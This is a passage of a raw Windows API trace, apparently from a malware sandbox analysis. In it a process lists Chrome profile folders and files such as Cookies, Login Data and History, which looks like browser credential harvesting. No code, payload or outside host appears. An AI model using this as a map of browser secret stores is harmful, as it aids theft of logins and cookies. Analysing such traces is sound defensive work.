(dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.098] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", lpFilePart=0x0) returned 0x4d [0179.098] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.099] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.099] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.099] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.100] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpFilePart=0x0) returned 0x3e [0179.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.100] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpFilePart=0x0) returned 0x3e [0179.100] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.100] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.100] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata", cAlternateFileName="")) returned 1 [0179.100] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4a42fd3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="reports", cAlternateFileName="")) returned 1 [0179.100] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a42fd3b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4a42fd3b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x185e4d86, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0179.101] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.101] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.101] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpFilePart=0x0) returned 0x3d [0179.101] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.101] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpFilePart=0x0) returned 0x3d [0179.101] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50c2e339, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a31767e, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a31c47f, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0179.101] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50c2e339, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a31767e, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a31c47f, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.102] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5172d381, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x9f02dca3, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0x19d2b409, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0179.102] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5295d523, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5295d523, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x1a4ae535, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0179.102] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5295fc2f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5295fc2f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x1a4d473c, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies-journal", cAlternateFileName="COOKIE~1")) returned 1 [0179.102] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296986b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x19bf2c75, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a1c3f11, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x4a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Current Session", cAlternateFileName="CURREN~1")) returned 1 [0179.102] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5776f89b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb35381ed, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xb35822e2, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x5b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Current Tabs", cAlternateFileName="CURREN~2")) returned 1 [0179.102] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35f691bb, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x35f691bb, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x35f6ba07, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="databases", cAlternateFileName="DATABA~1")) returned 1 [0179.103] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5179d880, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1876251a, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1876251a, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_reduction_proxy_leveldb", cAlternateFileName="DATA_R~1")) returned 1 [0179.103] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52964a42, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xbaa74981, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0xbaa74981, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension Rules", cAlternateFileName="EXTENS~2")) returned 1 [0179.103] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53b52d0c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x19e096af, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x19e096af, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension State", cAlternateFileName="EXTENS~3")) returned 1 [0179.103] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5270720f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xac3ffa8d, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xac3ffa8d, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extensions", cAlternateFileName="EXTENS~1")) returned 1 [0179.103] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242d194, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5242d194, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3c6bdc4a, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favicons", cAlternateFileName="")) returned 1 [0179.103] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5242f8b3, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5242f8b3, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x3cacb5ed, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favicons-journal", cAlternateFileName="FAVICO~1")) returned 1 [0179.103] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5179d880, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2b2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Profile.ico", cAlternateFileName="GOOGLE~1.ICO")) returned 1 [0179.104] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xd1c4337c, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0179.104] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeab8bfa, ftCreationTime.dwHighDateTime=0x1d5c565, ftLastAccessTime.dwLowDateTime=0x1a31c47f, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a31c47f, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x6, dwReserved0=0x0, dwReserved1=0x0, cFileName="History Provider Cache", cAlternateFileName="HISTOR~2")) returned 1 [0179.104] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x514606bb, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xd1d02f14, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History-journal", cAlternateFileName="HISTOR~1")) returned 1 [0179.104] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35e8142e, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x35e92461, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x35e92461, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IndexedDB", cAlternateFileName="INDEXE~1")) returned 1 [0179.104] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9de8e4d3, ftCreationTime.dwHighDateTime=0x1d5c565, ftLastAccessTime.dwLowDateTime=0x9de90bcb, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0x9de90bcb, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JumpListIconsMostVisited", cAlternateFileName="JUMPLI~1")) returned 1 [0179.104] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9de90bcb, ftCreationTime.dwHighDateTime=0x1d5c565, ftLastAccessTime.dwLowDateTime=0x9de90bcb, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0x9de90bcb, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JumpListIconsRecentClosed", cAlternateFileName="JUMPLI~2")) returned 1 [0179.105] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5296986b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xaf6c9c81, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xb33deab9, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0xcdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Session", cAlternateFileName="LASTSE~1")) returned 1 [0179.105] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5776f89b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x9bcdb06d, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xaeaddf8a, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x599, dwReserved0=0x0, dwReserved1=0x0, cFileName="Last Tabs", cAlternateFileName="LASTTA~1")) returned 1 [0179.105] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead47a83, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xead47a83, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xead47a83, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local Extension Settings", cAlternateFileName="LOCALE~1")) returned 1 [0179.105] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb024218, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb024218, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb024218, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local Storage", cAlternateFileName="LOCALS~1")) returned 1 [0179.105] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52319328, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52319328, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x186c99f3, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Login Data", cAlternateFileName="LOGIND~1")) returned 1 [0179.105] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5231ba4e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5231ba4e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x18716005, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Login Data-journal", cAlternateFileName="LOGIND~2")) returned 1 [0179.105] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5292eec7, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5292eec7, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53b5f051, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Action Predictor", cAlternateFileName="NETWOR~1")) returned 1 [0179.105] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529315f0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x529315f0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x53d9f3c2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Action Predictor-journal", cAlternateFileName="NETWOR~2")) returned 1 [0179.105] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54135456, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x54135456, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x24acfb1b, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin Bound Certs", cAlternateFileName="ORIGIN~1")) returned 1 [0179.105] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54135456, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x54135456, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x24bb4883, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin Bound Certs-journal", cAlternateFileName="ORIGIN~2")) returned 1 [0179.105] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c545a2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1a205efa, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1a2ba7ec, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x209cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferences", cAlternateFileName="PREFER~1")) returned 1 [0179.105] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5157d0ff, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5157d0ff, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x21eb0221, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="previews_opt_out.db", cAlternateFileName="PREVIE~1.DB")) returned 1 [0179.106] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x517348e4, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x517348e4, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x2213238e, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, 